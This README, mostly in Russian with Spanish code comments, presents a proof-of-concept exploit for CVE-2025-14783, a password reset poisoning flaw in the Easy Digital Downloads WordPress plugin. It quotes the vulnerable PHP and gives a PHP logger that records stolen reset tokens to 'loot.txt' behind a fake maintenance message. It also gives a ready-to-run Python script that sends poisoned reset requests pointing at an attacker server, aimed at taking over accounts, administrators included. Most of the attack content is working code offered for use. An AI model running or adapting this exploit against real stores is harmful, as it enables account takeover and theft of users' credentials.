
🧨 CVE-2025-14783: PoC захвата аккаунта Easy Digital Downloads
«Доверие — самый эксплуатируемый недостаток безопасности».
Этот репозиторий содержит рабочую Proof of Concept (PoC) для CVE-2025-14783 — критической уязвимости Password Reset Poisoning (отравление сброса пароля) в плагине Easy Digital Downloads (EDD) для WordPress (версии <= 3.6.2).
Из-за отсутствия валидации параметра edd_redirect в процессе запроса на сброс пароля неаутентифицированный удалённый злоумышленник может внедрить вредоносный домен. В результате легитимное письмо, отправленное магазином, содержит ссылку для сброса пароля, ведущую на сервер злоумышленника, что приводит к утечке токена доступа (key) и позволяет полностью захватить учётную запись (Account Takeover, ATO), включая учётные записи администраторов.
Уязвимость кроется в функции, которая формирует URL сброса пароля внутри электронного письма. Уязвимый код использует esc_url_raw() для «очистки» ввода, но не проверяет целевой хост.
// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
'{password_reset_link}',
add_query_arg(
array(
'edd_action' => 'password_reset_requested',
'key' => $key,
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
),
$message
);
Контролируя $_POST['edd_redirect'], мы управляем базовой частью сгенерированного URL.
requests (pip install requests)Загрузите следующий PHP-скрипт (logger.php) на ваш вредоносный сервер, чтобы перехватывать токены жертв.
<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');
if ($key && $login) {
$log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
file_put_contents('loot.txt', $log, FILE_APPEND);
echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>
Отредактируйте скрипт exploit.py, указав свои цели, и запустите его.
python3 exploit.py
exploit.py)import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php"
def poison_reset_link():
print(f"[*] Objetivo: {TARGET_URL}")
print(f"[*] Víctima: {VICTIM_EMAIL}")
print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")
# Payload para inyectar la redirección
data = {
'edd_action': 'user_send_password_reset',
'user_email': VICTIM_EMAIL,
'edd_redirect': ATTACKER_HOST
}
try:
# Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
if r.status_code == 200:
print("[+] ¡Éxito! Correo envenenado enviado.")
print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
else:
print(f"[-] Fallo. Código de estado: {r.status_code}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
poison_reset_link()
| Конфиденциальность | Целостность | Доступность |
|---|---|---|
| ВЫСОКАЯ 🟥 | ВЫСОКАЯ 🟥 | НИЗКАЯ 🟩 |
Успешный злоумышленник может:
Данное программное обеспечение предоставляется ИСКЛЮЧИТЕЛЬНО в образовательных целях и для исследований в области безопасности.
Автор (ZeroEthical) не несёт ответственности за неправомерное использование этой информации.
Атака на цели без предварительного письменного согласия незаконна и может повлечь серьёзные правовые последствия.
Используйте его на свой страх и риск только в контролируемых средах.
На базе ZeroEthical
«Мы не исправляем уязвимости, мы демонстрируем их».